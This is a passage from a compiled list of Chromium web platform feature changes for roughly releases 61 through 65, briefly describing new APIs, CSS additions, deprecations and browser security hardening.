Blink to match the CSSOM View spec’s behavior around element scrolling APIs for documentElement and body, i.e.: scrollTop, scrollLeft, scrollWidth, scrollHeight and Document.scrollingElement <ol start="12"> <li>Intervention: Passive Event Listener for <code>type == "mousewheel" && target == window && function_name == "ssc_wheel"</code></li> </ol> The smoothscroll.js code is largely broken and is preventing us from shipping scroll top interop. With the scroll top interop behavior activated sites fail to scroll at all with the wheel event. This library was corrected a few years ago but the web continues to clone the broken version and we have been blocked in shipping this long implemented fix for interop. Smooth scroll has been enabled in Chrome for a number of releases so using custom smooth scrolling is not necessary anymore. <ol start="13"> <li>JavaScript modules: <code><script type=module></code></li> </ol> JavaScript modules allow a program to be divided into multiple sequences of statements and declarations. Each module explicitly identifies declarations it uses that need to be provided by other modules and which of its declarations are available for use by other modules. <code><script type=module></code> allows loading of JavaScript modules inside web pages. <ol start="14"> <li>MediaStream Image Capture - getPhotoSettings() method</li> </ol> This chrome feature tracks adding the method getPhotoSettings() 1 to the currently landed ImageCapture object [2]. It’s a trivial follow up to the MediaStream Image Capture API shipped in 59 [3]. 1 https://w3c.github.io/mediacapture-image/#dom-imagecapture-getphotosettings [2] https://cs.chromium.org/chromium/src/third_party/WebKit/Source/modules/imagecapture/ImageCapture.idl?q=imagecapture.idl&sq=package:chromium&dr [3] https://www.chromestatus.com/features/4843864737185792 <ol start="15"> <li>MediaStreamTrack.getSettings()</li> </ol> Returns the current settings of a MediaStreamTrack, including information such as (for video) width, height or framerate. <ol start="16"> <li>Network Information</li> </ol> The Network Information API enables web applications to access the underlying connection information of the device. <ol start="17"> <li>PaymentRequest</li> </ol> An API that allows browsers to act as an intermediary between the three key parties in a financial transaction: the merchant (e.g. an online web store), the buyer (e.g. the user buying from the online web store), and the Payment Method (e.g. credit card). Information necessary to process and confirm a transaction is passed between the Payment Method and the merchant via the browser with the buyer confirming and authorizing as necessary across the flow. <ol start="18"> <li>RTCCertificate.getFingerprints()</li> </ol> RTCCertificate is supposed to have a getFingerprints() method. <ol start="19"> <li>Referrer policies ‘same-origin’, ‘strict-origin’, ‘strict-origin-when-cross-origin’</li> </ol> The Referrer Policy specification includes three policy values that Chrome doesn’t yet implement. <ul> <li>same-origin: Send full referrers same-origin, no referrers cross-origin.</li> <li>strict-origin: Strip referrers to the origin, but strip them when downgrading from HTTPS to HTTP.</li> <li>strict-origin-when-cross-origin: Send full referrers same-origin, and the origin when cross-origin, but strip referrers when downgrading from HTTPS to HTTP.</li> </ul> <ol start="20"> <li>Resource Timing & Navigation Timing: add nextHopProtocol property</li> </ol> nextHopProtocol has been in the spec for RT & NT but was not implemented in chrome yet. It is now landed and will ship in M61 <ol start="21"> <li>Storage quota estimate() API</li> </ol> navigator.storage.estimate() - returns a Promise which resolves with {usage, quota} values in bytes. <ol start="22"> <li>SyncManager interface exposed to all workers</li> </ol> Historically the SyncManager interface was only exposed to the window and service workers. This feature exposes the interface to all workers. <ol start="23"> <li>URLSearchParams: sort() method</li> </ol> Sorts all name-value pairs stored in a URLSearchParams. Proposed at https://github.com/whatwg/url/issues/26 to improve cache hit rate easily. <ol start="24"> <li>URLSearchParams: updated constructor</li> </ol> URLSearchParams’ constructor has been changed in https://github.com/whatwg/url/pull/175. It is now possible to create a new URLSearchParams by passing it any object (e.g. <code>new URLSearchParams({'foo': 'bar'})</code>). <ol start="25"> <li>Update colSpan max value to 1000</li> </ol> Update colSpan max value from 8190 to 1000 as per spec change. https://html.spec.whatwg.org/#dom-tdth-colspan https://html.spec.whatwg.org/#dom-col-span https://html.spec.whatwg.org/#dom-colgroup-span <ol start="26"> <li>WebUSB API</li> </ol> The web platform API to support programming USB devices. <ol start="27"> <li>asm.js</li> </ol> Validate asm.js code and use type information to optimize the low-level subset of JavaScript. <ol start="28"> <li>getAttributeNames() of Element interface</li> </ol> getAttributeNames() is a function to rerun a list of attribute names of an element. <ol start="29"> <li>onwheel in GlobalEventHandlers</li> </ol> Previously we had onwheel attributes as part of the Element. Now we are moving them to GlobalEventHandlers to make them consistent with the other on’event’ attributes. <ol start="30"> <li>visualViewport API</li> </ol> Exposes information about the visual viewport to the page. <ol start="31"> <li>Deprecate and remove Presentation API on insecure contexts</li> </ol> In aligning with Blink’s intention to remove powerful features on insecure origins, we plan to deprecate and remove support for the Presentation API on insecure contexts. PresentationRequest and PresentationReceiver where deprecated on insecure origins in Chrome 61. Removal is anticipated in Chrome 72 (February 2019). <ol start="32"> <li>JavaScript dialogs exit HTML5 fullscreen</li> </ol> If a page shows a JavaScript dialog while it is in fullscreen (the HTML5 kind), it is exited from fullscreen. <h3>chromium62 Features:28</h3> <ol> <li>document.rootScroller</li> </ol> Allow a non-document (or <code><body></code>) element to hide URL bar, generate overscroll glow, etc. on scrolling, effects normally reserved for “viewport scrolling” only. <ol start="2"> <li><code><data></code> element</li> </ol> <code><data></code> element <ol start="3"> <li><code><time></code> element</li> </ol> <code><time></code> element <ol start="4"> <li>API for customizing HTMLMediaElement.seekable for Media Source live streams</li> </ol> This API lets MediaSource apps more effectively customize the HTMLMediaElement.seekable range logic by providing (or removing) a single seekable range that is union’ed with the current buffered ranges to result in a single seekable range which fits both, when media duration is infinite. <ol start="5"> <li>Accept 8 (#RRGGBBAA) and 4 (#RGBA) value hex colors</li> </ol> Update the CSS color parser to support 8/4-digit hex color. Legacy HTML attribute color parsing, per the “rules for parsing a legacy colour value” of the HTML micro syntax (http://bit.ly/1WF2Yre), will not be changed (see http://bit.ly/1UEDbiO), nor will the CSS hashless color quirk (https://quirks.spec.whatwg.org/#the-hashless-hex-color-quirk). <ol start="6"> <li>Accept-Language Headers Fix</li> </ol> We want to fix an issue in how Chrome generates the Accept-Language HTTP headers from user language preferences. As websites sometimes only accept languages without region (i.e. “en” vs “en-AU”), a user could receive websites in an unexpected language. We plan to add the base language in the correct position so that users receive webpages in their preferred language. <ol start="7"> <li>Dispatch mouse transition events after layout</li> </ol> Mouse events are not sent when the nodes under the mouse change during layout. This then represents an incorrect state in that the hover state of where the mouse actually doesn’t match the current hover state of the document. To fix a variety of issues we will start dispatching mouse transitional events and update the hover state shortly after layout has been executed. This will match Firefox behavior. <ol start="8"> <li>Feature Policy: Fullscreen</li> </ol> Allow developers to selectively enable and disable use of Fullscreen through the Feature-Policy HTTP header or the <code><iframe></code> “allow” attribute. The identifier for the feature in policies is “fullscreen”. By default, fullscreen is allowed in all top-level documents, and in same-origin frames. This is similar to the existing <code><iframe></code> “allowfullscreen” attribute, but allows control over which origins will be allowed to use the feature when hosted inside of the frame. <ol start="9"> <li>Implement visibility:collapse for table rows and row-groups</li> </ol> visibility:collapse is supposed to hide table rows while preserving their contribution to column widths. Right now blink treats visibility:collapse as visibility:hidden, which merely skips painting the rows, leaving blank space in their place instead of allowing their space to be used for other content. <ol start="10"> <li>Intervention: Image replacement for Data Saver users on slow connections</li> </ol> If a Data Saver user is on a 2G-speed or slower network according to the NetInfo API, Chrome replaces images with placeholders and sends an intervention header on every resource request. Placeholders are the same dimensions as the original image to maintain site layout. Users are shown a Lite Mode UI in the omnibox. Users can load the image by long-pressing on the placeholder, or load all images by tapping “Show original” in the UI. An intervention report is sent when this optimization occurs. <ol start="11"> <li>Loosen up escape sequence restrictions in template literals</li> </ol> The restriction on escape sequences in template literals has been loosened. This enables new use cases for template tags, such as writing a LaTeX processor. <ol start="12"> <li>Media Capture from HTML Media Element (<code><video></code>/<code><audio></code>)</li> </ol> “Media Capture from DOM Elements” document by W3C defines captureStream() method that allows the capture of a <code><video></code>/<code><audio></code> element in the form of a MediaStream. We want to implement the necessary Blink and Chromium sections that would create this stream by accessing the <code><video></code>/<code><audio></code> output according to the given play back constraints. <ol start="13"> <li>Network Information: Network Quality signals</li> </ol> This API provides network performance information to developers, as perceived by the UA, in a format that’s easy to consume and act upon: UA monitors latency and throughput of recent requests and provides estimates for effective RTT, throughput, and connection type that developers should optimize for - e.g. if the recently observed latency and/or throughput is low, the effective connection type will be mapped to a “low” value like 2G or 3G, regardless of the underlying network technology. <ol start="14"> <li>OpenType variable font support</li> </ol> OpenType variable fonts integration in the layout engine affects at least the following aspects: <ol> <li>Axis value assignments from font-variation-settings</li> <li>Integration of variable fonts axis parameters into layout operations</li> <li>Font matching for: <ul> <li>Matching based on canonical scalable axes such as width or weight or optical sizing.</li> <li>Matching named instances</li> </ul> </li> <li>Feature resolution of CSS props, feature-settings and variation settings</li> </ol> <ol start="15"> <li>PaymentDetailsModifier.data</li> </ol> Need to support modifiers with the same identifier but different data. One use case for this is to support card payments with different modifiers for credit vs. debit cards. This change adds the PaymentDetailsModifier.data field to supply the different data. <ol start="16"> <li>Performance.timeOrigin</li> </ol> Performance.timeOrigin was defined in High Resolution Time 3. The attribute is useful for developers to be able to compare timings of objects (like windows or workers) with different time origins. <ol start="17"> <li>RegExp <code>dotAll</code> mode / <code>s</code> flag</li> </ol> The new <code>s</code> flag for ECMAScript regular expressions makes <code>.</code> match any character, including line terminators. <ol start="18"> <li>RegExp lookbehind assertions</li> </ol> Lookarounds are zero-width assertions that match a string without consuming anything. ECMAScript has lookahead assertions that does this in forward direction, but the language is missing a way to do this backward which the lookbehind assertions provide. With lookbehind assertions, one can make sure that a pattern is or isn’t preceded by another, e.g. matching a dollar amount without capturing the dollar sign. <ol start="19"> <li>Support FLAC in ISO-BMFF with MSE</li> </ol> FLAC is a lossless audio coding format, already supported in regular Chrome HTML5 playback. This feature adds support for FLAC in ISO-BMFF to Chrome HTML5 Media Source Extensions (MSE). <ol start="20"> <li>Update ol.start default value as 1</li> </ol> As per the spec, "The start IDL attribute must reflect the content attribute of the same name, with a default value of 1. This means that the start IDL attribute does not necessarily match the list’s starting value, in cases where the start content attribute is omitted and the reversed content attribute is specified." <ol start="21"> <li>WebAudio: OfflineAudioContext constructor with dictionary</li> </ol> The constructor for an OfflineAudioContext now accepts a dictionary argument to specify the options needed to construct the context. This is an addition to the existing constructor that takes three arguments. <ol start="22"> <li>visualViewport attribute event handlers</li> </ol> Adding attribute event handlers to visualViewport. i.e. visualViewport.onresize and visualViewport.onscroll (This is a minor fix to the shipped implementation) <ol start="23"> <li>PaymentMethodData.supportedMethods should not be a sequence</li> </ol> PaymentMethodData is used in the PaymentRequest constructor, the PaymentRequestEvent, and the CanMakePaymentEvent. It’s supportedMethods property holds and identifier indicating the payment methods a merchant accepts. Currently, this property takes either a string or array. After this change, it will only take a string. <ol start="24"> <li>Deprecate SVGPathElement.getPathSegAtLength</li> </ol> This interface is removed from the spec. https://svgwg.org/svg2-draft/paths.html#InterfaceSVGPathElement. <ol start="25"> <li>RTCPeerConnection.getStreamById</li> </ol> The getStreamById method on RTCPeerConnection is being removed. See https://crbug.com/698163#c10 for a replacement if you depend on this. <ol start="26"> <li>Remove Insecure usage of Notifications</li> </ol> Remove access to the Notifications API on insecure origins. This will prevent sites from requesting notification permission or creating non-persistent local notifications over HTTP. Sites using the Notification API for web push must already be on secure origins due to the requirement for a service worker. Removal is anticipated in Chrome 62. <ol start="27"> <li>Remove Usage of Notifications from iFrames</li> </ol> Remove the ability to call Notification.requestPermission() from non-main frames. This change will align the requirements for notification permission with that of push notifications, easing friction for developers. It allows us to unify notification and push permissions. <ol start="28"> <li>SharedWorker: Remove workerStart</li> </ol> SharedWorker.workerStart has been deprecated for a while in the spec, and is not supported by other major browsers. <h3>chromium63 Features:21</h3> <ol> <li>Async Iteration / Async Generators</li> </ol> Async Generator functions and a new iteration protocol (used by for-await-of loops and yield* expressions), to streamline consumption or implementation of streaming data sources. <ol start="2"> <li>CSS ‘q’ length unit</li> </ol> support ‘q’ absolute length unit. 1q is equivalent to 1/40th of 1cm. <ol start="3"> <li>CSS font-variant-east-asian</li> </ol> Add support for font-variant-east-asian and respective mapping for the font: shorthand and the font-variant: shorthand. <ol start="4"> <li>CSS overscroll-behavior</li> </ol> CSS <code>overscroll-behavior</code> allows developers to decide the browser’s behavior once a scroller has reached its full extent. The unused delta can be propagated to the parent causing scroll chaining, create a glow/bounce effect without chaining, or just get consumed silently. This would be a standardization of “-ms-scroll-chaining” with some modification. <ol start="5"> <li>Device Memory JS API</li> </ol> JS API to expose the device Memory to web applications. <ol start="6"> <li>EventTarget.addEventListener/removeEventListener throws a TypeError</li> </ol> EventTarget.addEventListener/removeEventListener throws a TypeError when the second argument |callback| is neither of EventListener nor Null nor Undefined. Historically Blink had not been reporting a TypeError for the second argument of EventTarget.{add,remove}EventListener, but reports a TypeError since M63. <ol start="7"> <li>HTMLAllCollection and HTMLCollection’s named properties are no longer enumerable</li> </ol> Blink now follows the DOM and HTML specs and declares HTMLAllCollection, HTMLCollection, HTMLFormControlsCollection and HTMLOptionsCollection with the [LegacyUnenumerableNamedProperties] extended attribute. Its named properties are no longer marked as enumerable, being left out of calls to e.g. Object.keys() and for-in loops. <ol start="8"> <li>Interface properties with a Promise type no longer throw exceptions</li> </ol> Interface properties that return a Promise now reject (meaning they’ll invoke a catch block) instead of throwing an exception. This has already been done for functions. <ol start="9"> <li>Intl.PluralRules</li> </ol> Intl.PluralRules is a new API which exposes language-dependent data on pluralization forms of numbers. Given a locale and a number, Intl.PluralRules outputs a category, which can then be used for selection of the pluralization form of surrounding text. <ol start="10"> <li>JavaScript module import()</li> </ol> This JavaScript feature adds a “function-like” import() module loading syntactic form to JavaScript. The existing syntactic forms for importing modules are static declarations. However, it’s also desirable to be able to dynamically load parts of a JavaScript application at runtime. <ol start="11"> <li>Make /deep/ behave like the descendant combinator " " in CSS live profile (in css file or inside of <code><style></code>)</li> </ol> Make /deep/ behave like the descendant combinator " " in CSS live profile; effectively no-op. See “Intent to Remove” thread for more details: https://groups.google.com/a/chromium.org/d/topic/blink-dev/HX5Y8Ykr5Ns/discussion https://www.w3.org/TR/selectors-4/#profiles CSS live profile = CSS selector used in CSS file or inside of <code><style></code>. CSS snapshot profile = CSS selector used in JS, such as querySelector(…) <ol start="12"> <li>MediaStreamTrack.applyConstraints</li> </ol> applyConstraints() allows changing the constraints associated with a MediaStreamTrack. This is useful to change settings such as video resolution or frame rate. applyConstraints() was previously released with support for ImageCapture (https://w3c.github.io/mediacapture-image/). This feature includes adding support for the main spec (https://w3c.github.io/mediacapture-main/). <ol start="13"> <li>No State Prefetch</li> </ol> A mechanism for speculative prefetching of webpages and their subresources that are on a critical path of page loading without executing any JavaScript or creating a complex state of the web platform. This system is not purely “no state” because HTTP cache allows to create cookies and other state related to validating cache entries. It is important to note that the “NoState Prefetch” is not an API. Server side detection: https://bugs.chromium.org/p/chromium/issues/detail?id=796855 <ol start="14"> <li>Promise.prototype.finally</li> </ol> This finally method is used for registering a callback to be invoked when a promise is settled (either fulfilled, or rejected). <ol start="15"> <li>Web Storage: Anonymous getter may return null</li> </ol> Blink used to add an anonymous named property getter to the Storage interface (used by sessionStorage and localStorage) that behaved slightly differently from the getItem() method. The anonymous getter has been removed, and getItem() is now used behind the scenes instead. One visible consequence is that attempting to access a key that does not exist via the getter will return null instead of undefined. <ol start="16"> <li>Web Storage: Methods are now enumerable</li> </ol> The methods belonging to the Storage IDL interface (available via sessionStorage and localStorage), such as getItem(), clear() and removeItem() are now enumerable as mandated by the HTML spec. They are not returned by Object.keys(), but do appear in e.g. for-in loops. <ol start="17"> <li>beforeprint and afterprint events</li> </ol> ‘beforeprint’ event is dispatched before starting printing, and ‘afterprint’ event is dispatched after finishing printing. They are useful to build printing-only content, and clean it up. <ol start="18"> <li>display:minimal-ui</li> </ol> Support the minimal-ui display mode as defined in the Web App Manifest. This property will result in Chrome displaying a “Chrome Custom Tab”-like UI. <ol start="19"> <li>navigator.webdriver</li> </ol> The Webdriver specification defines a <code>navigator.webdriver</code> property to indicate if UA is controlled by automation. This property is defined and returns <code>true</code> when running Chrome with the <code>--headless</code> flag. <ol start="20"> <li>Shadow-Piercing descendant combinator, ‘/deep/’</li> </ol> The /deep/ combinator was a part of Shadow DOM v0, which has been deprecated and removed. Starting in M63, the /deep/ combinator was treated as a no-op, equivalent to a space " " combinator. As the code for all of Shadow DOM v0 was removed completely in M89, /deep/ will now throw exceptions in some JS operations, such as querySelectorAll. Simply replace it with " " to get pre-M89 behavior back. <ol start="21"> <li>macOS: rounded borders for buttons in User-Agent stylesheet</li> </ol> Only for macOS. The default stylesheet for <code><button></code>, <code><input type=button></code>, <code><input type=reset></code>, <code><input type=submit></code>, a button in <code><input type=file></code> was changed in order to match OS-native buttons. Background-color, border, border-radius, and padding were changed. <h3>chromium64 Features:32</h3> <ol> <li>Media Capabilities: encoding</li> </ol> This is an API for querying the user agent about a device’s encoding capabilities for the purpose of recording or transmitting. <ol start="2"> <li>Network Information: saveData</li> </ol> The saveData attribute is a boolean that indicates a client’s explicit opt-in for reduced data usage, due to high transfer costs, slow connection speeds, or other reasons. It’s use allows JavaScript to make decisions that result in reduced data use, such as to load smaller images and video resources, or reduce buffering or predictive actions. This is expected to be enabled by default in Chrome 65. <ol start="3"> <li>Animation for offset-path CSS property</li> </ol> Authors using CSS Motion Path can now animate the path that an element moves along by animating the offset-path property <ol start="4"> <li>CSS transform-box</li> </ol> The transform-box property allows defining which reference box to use when computing ‘transform’ and ‘transform-origin’. It currently only has an effect on SVG elements. <ol start="5"> <li>CSS4 text-decoration-skip-ink</li> </ol> CSS Text Decoration 4: property controls how overlines and underlines are drawn when they cross over a glyph. With the initial, default value “auto” decoration lines skip over where glyphs are drawn: interrupt the decoration line to let the shape of the text show through where the text decoration would otherwise cross over a glyph. The UA must also skip a small distance to either side of the glyph outline. To disable this behavior, use <code>text-decoration-skip-ink: none</code> <ol start="6"> <li>Constructible & Subclassable EventTarget</li> </ol> Make EventTarget constructor callable, allowing them to be constructed on their own or be subclassed. <ol start="7"> <li>Deprecate and remove chrome.loadTimes</li> </ol> chrome.loadTimes() is a non-standardized API that enables collecting loading related metrics to understand performance in the real world. However the metrics there are now available as standardized APIs, so this API will be deprecated and removed. <ol start="8"> <li>Deprecate on-by-default Permissions in Cross-origin Iframes</li> </ol> It’s proposed that by default the following permissions cannot be requested or granted to content contained in cross-origin iframes: Geolocation Midi Encrypted media extensions Microphone and Camera In order for a cross-origin frame to get access to these permissions, the embedding page must specify a Feature Policy which enables the feature for the frame. For example, to enable geolocation in an iframe, the embedder could specify the iframe tag as: <code><iframe src="..." allow="geolocation"></code> <ol start="9"> <li>Feature Policy: Autoplay</li> </ol> Allows developers to selectively enable and disable use of autoplay through the feature policy HTTP header or the <code><iframe></code> “allow” attribute. By default we will allow autoplay on same origin iframes. If developers have cross origin iframes they will be able to enable autoplay on those frames by enabling the “autoplay” feature. <ol start="10"> <li>Fetch API: Request.cache</li> </ol> A property which represents the cache mode of a Request. This feature includes RequestInit.cache which sets the property. <ol start="11"> <li>Fractional coordinates in PointerEvents of type mouse</li> </ol> Make the coordinates in PointerEvents of pointerType=mouse fractional, in order to include the full precision provided by the underlying platform. <ol start="12"> <li>Image Decode API: img.decode()</li> </ol> This change allows web developers to request to decode an img element. The call to a new HTML <code><img></code> element’s decode() function returns a promise, which, when fulfilled, ensures that the image can be appended to the DOM without causing a decoding delay on the next frame. <ol start="13"> <li>Image decoding attribute</li> </ol> This feature allows developers to specify decoding attribute on HTMLImageElement and SVGImageElement which would have one of two states: “async”: This indicates that the developer prefers responsiveness and performance over atomic presentation of image and non-image content. “sync”: This indicates that the developer prefers atomic presentation of content over responsiveness. “auto”: This indicates a default state where the user-agent can select the behavior. <ol start="14"> <li>Intl.NumberFormat.prototype.formatToParts()</li> </ol> Intl.NumberFormat.prototype.formatToParts() is scheduled to be added to the ECMAScript Internationalization API specification (Ecma 402). It adds a method to format a number to a list of tokens and their types (e.g. minusSign, integer, decimal, fraction, currency, percentSign, etc). See also the corresponding DateTimeFormat feature here: https://www.chromestatus.com/feature/6319456309477376 <ol start="15"> <li>Media preload defaults to metadata</li> </ol> Set the default preload value for video and audio elements to “metadata”. Note that the preload attribute’s hint is still ignored when a MediaSource is attached to the media element. <ol start="16"> <li>Notifications to be displayed in the platform’s Notification Center</li> </ol> Most platforms ship with a notification center of their own - on mobile devices this may be more prominent than on desktops, but they do exist. We’re in progress of moving notifications shown by Chrome to be included in those centers as well. <ul> <li>Android (shipped in Chrome 42)</li> <li>Mac OS X (shipped in 59)</li> <li>Linux (planned to ship in 64)</li> <li>Windows (being prototyped)</li> </ul> Other browsers already use native notification centers where available. <ol start="17"> <li>Numeric character reference fallback for file upload characters not representable in form-charset</li> </ol> Change <code><input type="file"></code> filename encoding in multipart/form-data uploads in forms with non-Unicode accept-charset to use HTML numeric character references rather than ‘?’ when a filename the user selects contains characters not representable in the target character encoding. This change would align our behavior with the existing behavior of Firefox and Edge. It is hoped that this behavior can eventually achieve cross-browser consensus and standardization. <ol start="18"> <li>Prevent scrolling in HTMLElement.focus()</li> </ol> Adds an optional argument to existing focus APIs that disable the scroll triggered by focus. <ol start="19"> <li>RTCRtpSender</li> </ol> This feature tracks RTCPeerConnection methods getSenders(), addTrack(), removeTrack() and the essentials of interface RTCRtpSender. <ol start="20"> <li>RegExp named captures</li> </ol> Named captures for ECMAScript regular expressions allow developers to create and refer to named capture groups. <ol start="21"> <li>Remove window.event for Shadow DOM</li> </ol> The contex is: https://github.com/whatwg/dom/issues/334 We are trying to standardize certain Microsoft event extensions. One of them is window.event. Blink supports window.event. In the discussion, we agreed that window.event should be undefined if an Event’s target is in a shadow tree. That is effectivery equivalent to removing window.event for Shadow DOM. <ol start="22"> <li>Resize Observer</li> </ol> The Resize Observer API can be used to observe changes to size of Element’s content rect. <ol start="23"> <li>Stronger popup blocker on sites with abusive experiences</li> </ol> On sites with very abusive experiences (see documentation link below), Chrome will start enforcing a more aggressive popup blocker. This will invoke Chrome’s popup blocking UI for new windows or tabs regardless of whether there is a user gesture. <ol start="24"> <li>Throw NotSupportedError when media playbackRate is unsupported</li> </ol> Throw a NotSupportedError DOM exception when a media element’s playbackRate is set to an unsupported value. <ol start="25"> <li>Unicode property escapes in regular expressions</li> </ol> The Unicode Standard assigns various properties and property values to every symbol. For example, to get the set of symbols that are used exclusively in the Greek script, search the Unicode database for symbols whose Script property is set to Greek. Unicode property escapes are a new type of escape sequence available in regular expressions that have the <code>u</code> flag set. They enable querying the Unicode database for certain properties and values. E.g. <code>/\p{Script=Greek}/u.test('π') === true</code> <ol start="26"> <li>X-Content-Type-Options: nosniff</li> </ol> The <code>X-Content-Type-Options: nosniff</code> header allows a server to assert that its resources may only be executed as script or applied as style if they’re delivered with appropriate <code>Content-Type</code> headers. <ol start="27"> <li>import.meta</li> </ol> The <code>import.meta</code> meta-property provides a host-defined object which exposes context-specific metadata to a JavaScript module (e.g. the enclosing module’s URL or associated <code><script></code> element). <ol start="28"> <li>install event for Web App Manifest</li> </ol> An event handler to tell a site that it has been installed or added to home screen. <ol start="29"> <li>Multiple Shadow Roots</li> </ol> Enable elements to host more than one Shadow Roots. Dropping this feature from the spec is the resolution at Web Components f2f meeting (https://www.w3.org/wiki/Webapps/WebComponentsApril2015Meeting) This was deprecated in Chrome 45. Removal is anticipated in Chrome 64. This was deprecated in Chrome 45. <ol start="30"> <li>Remove getMatchedCSSRules</li> </ol> getMatchedCSSRules is a webkit-only API to get a list of all the style rules applied to a particular element. It has been deprecated since 2014. <ol start="31"> <li>window.alert() will not activate parent page</li> </ol> If a document in a background tab calls window.alert() then the call to alert() will return immediately; the dialog will be shown to the user when they switch to the tab. A UI indicator will be set so the user is aware of the pending alert dialog. This removes the ability to use window.alert() to bring a tab to the front against the user’s will. <ol start="32"> <li>Stop showing ads on websites that are not compliant with the Better Ads Standards.</li> </ol> Stop showing ads (including ads owned or served by Google) on sites that do not comply with the betterads.org/standards Feature Intro: https://blog.chromium.org/2017/06/improving-advertising-on-web.html How Chrome’s ad filter works https://blog.chromium.org/2018/02/how-chromes-ad-filtering-works.html Filtering began on sites globally in July 2019. https://blog.chromium.org/2019/01/building-better-world-wide-web.html Ad Experience Report Info https://support.google.com/webtools/answer/7159932 <h3>chromium65 Features:25</h3> <ol> <li>CSP’s <code>prefetch-src</code> directive.</li> </ol> CSP allows developers to control the set of resources which can be preloaded by specifying a <code>prefetch-src</code> directive. The directive has the same format as other fetch directives; developers write an allowlist which defines the set of hosts from which resources can be preloaded. If <code>prefetch-src</code> is not specified, <code>default-src</code> will apply. <ol start="2"> <li>Block cross-origin <code><a download></code></li> </ol> To avoid what is essentially user-mediated cross-origin information leakage, Blink will start to ignore the presence of the download attribute on anchor elements with cross origin attributes. <ol start="3"> <li>CSS Color 4 HSL/HSLA syntax</li> </ol> Update parsing of HSL() and HSLA() to the syntax described in CSS Color 4. The functions were synonymized, along with allowing whitespace to separate the parameters instead of commas, introducing a backslash as a new way to separate the alpha parameter, allowing angles to be specified as the hue, and allowing percent values for the alpha parameter. <ol start="4"> <li>CSS Color 4 RGB/RGBA syntax</li> </ol> Update parsing of RGB() and RGBA() to the syntax described in CSS Color 4. The functions were synonymized, along with allowing whitespace to separate the channels instead of commas, introducing a backslash as a new way to separate the alpha parameter, and allowing percent values for the alpha parameter. <ol start="5"> <li>CSS Paint API (Houdini)</li> </ol> CSS Paint API defines a new callback which is designed to allow developers to write code which produces a CSS <code><image></code> during the paint phase of the rendering engine. <ol start="6"> <li>CSS Selectors 4 Pseudo-Class :any-link</li> </ol> The :any-link pseudo-class represents an element that acts as the source anchor of a hyperlink. <ol start="7"> <li>Do not create layout objects for elements inside display:none iframes.</li> </ol> The original HTML/CSS specifications were unclear about the intended behavior for elements inside display:none iframes. [Do they get CSS boxes? Are they rendered?] This has led to a divergence in behavior between UAs. The specs are in the process of being clarified, and the new spec matches the behavior of Edge and Gecko [which do not perform box construction or layout]. Note that Chrome’s current behavior has negative performance implications. https://github.com/whatwg/html/issues/1813 <ol start="8"> <li>Feature Policy: control Synchronous XMLHttpRequest</li> </ol> Allows developers to selectively enable and disable use of Synchronous XMLHttpRequest requests through the feature policy HTTP header or the <code><iframe></code> “allow” attribute. The identifier for the feature in policies is “sync-xhr”. By default, synchronous XHR is allowed in all frames. If developers wish to disable this on any page, they can include a header like: Feature-Policy: sync-xhr ‘none’ Or embed content in an frame with sync XHR disabled like: <code><iframe src="..." allow="sync-xhr 'none'"></code> <ol start="9"> <li>KeyboardEventInit keyCode, charCode support</li> </ol> Add support for initializing keyCode, charCode via KeyboardEventInit. <ol start="10"> <li>NTLMv2</li> </ol> Support NTLMv2 authentication. Currently on non-Windows platforms only NTLMv1 is used. <ol start="11"> <li>PerformanceObserver takeRecords()</li> </ol> The takeRecords method returns a copy of the performance entries in the PerformanceObserver’s buffer, and also clears this buffer. This aligns PerformanceObserver with other *Observer implementations, like MutationObserver and IntersectionObservers, which have similar methods. <ol start="12"> <li>RTCRtpSender and RTCRtpReceiver extensions to RTCPeerConnection</li> </ol> This feature encapsulates the addition of the following methods to RTCPeerConnection: getSenders(), getReceivers(), addTrack(MediaStreamTrack track, MediaStream… streams), and removeTrack(RTCRtpSender sender). The RTCRtpSender and RTCRtpReceiver objects will initially be limited to supporting the “track” attribute, with RTCRtpSender also supporting “replaceTrack(MediaStreamTrack withTrack)”. <ol start="13"> <li>RTCRtpSender.replaceTrack</li> </ol> This allows you to seamlessly change which track is being sent without having to renegotiate at the expense of another offer/answer cycle. For example, you might want to switch which video to send or to temporarily not send video, without any disruption in audio or at the cost of an RTT delay. It can also be used to control whether or not to send with replaceTrack(null). <ol start="14"> <li>Request.destination</li> </ol> The <code>Request.destination</code> getter enables Service Worker code knowledge regarding which type of resource it is fetching. <ol start="15"> <li>ServerTiming API</li> </ol> Add the PerformanceServerTiming Interface which makes Server-Timing header timing values available to JavaScript running in the browser. <ol start="16"> <li>Support HTMLAnchorElement.relList property</li> </ol> The HTMLAnchorElement.relList read-only property reflects the rel attribute. It is a live DOMTokenList containing the set of link types indicating the relationship between the resource represented by the <code><a></code> element and the current document. <ol start="17"> <li>Support HTMLAreaElement.relList property</li> </ol> The HTMLAreaElement.relList read-only property reflects the rel attribute. It is a live DOMTokenList containing the set of link types indicating the relationship between the resource represented by the <code><area></code> element and the current document. <ol start="18"> <li>TLS 1.3 (draft versions)</li> </ol> The latest version of the Transport Layer Security (TLS) protocol. For M65, draft-23 of the protocol will be rolled out to Chrome users via a field trial. <ol start="19"> <li>Wheel scroll latching and async wheel events</li> </ol> Latch to a single element for the duration of a wheel scroll. Only the first wheel event in a scrolling sequence is cancel-able. <ol start="20"> <li>Worklets</li> </ol> Worklets define a new javascript execution context which is designed to allow developers to write code which is intended to be run synchronously within the rendering engine, however independent of the main user javascript. This feature was released in two stages. Worklets for paint were released in Chrome 65/Opera 52. Worklets for audio were released for Chrome 66/Opera 53. <ol start="21"> <li>assignedElements on <code><slot></code></li> </ol> Add assignedElements on <code><slot></code>, similar to assignedNodes(), but returning Element nodes only. The method returns elements that are assigned to a given slot. <ol start="22"> <li>display: contents</li> </ol> “display: contents” allows you to control the box generation of an element. The element with “display: contents” won’t generate any box, but its children and pseudo-elements will still do it as normal. It’s like the element has been replaced by its children and pseudo-elements. <ol start="23"> <li>document.all is no longer [Replaceable].</li> </ol> It has been possible for web developers to overwrite document.all for a long time, but according to the web standard, document.all will be no longer overwritable, i.e. it will be readonly. [before the change] document.all = 42; console.log(document.all); // prints 42 [after the change] document.all = 42; console.log(document.all); // prints a HTMLAllCollection <ol start="24"> <li>toJSON for Performance and PerformanceEntry</li> </ol> Ever since serializer was deprecated in favor of toJSON 1, the Performance and PerformanceEntry specs added a mandatory toJSON method. This method should just call the default toJSON operation [2]. 1 https://github.com/w3c/resource-timing/issues/112 [2] https://heycam.github.io/webidl/#default-tojson-operation The following interfaces will have toJSON added: PerformanceResourceTiming PerformanceLongTaskTiming TaskAttributionTiming <ol start="25"> <li><code><meta http-equiv="set-cookie" ...></code></li> </ol> <code><meta http-equiv="set-cookie" 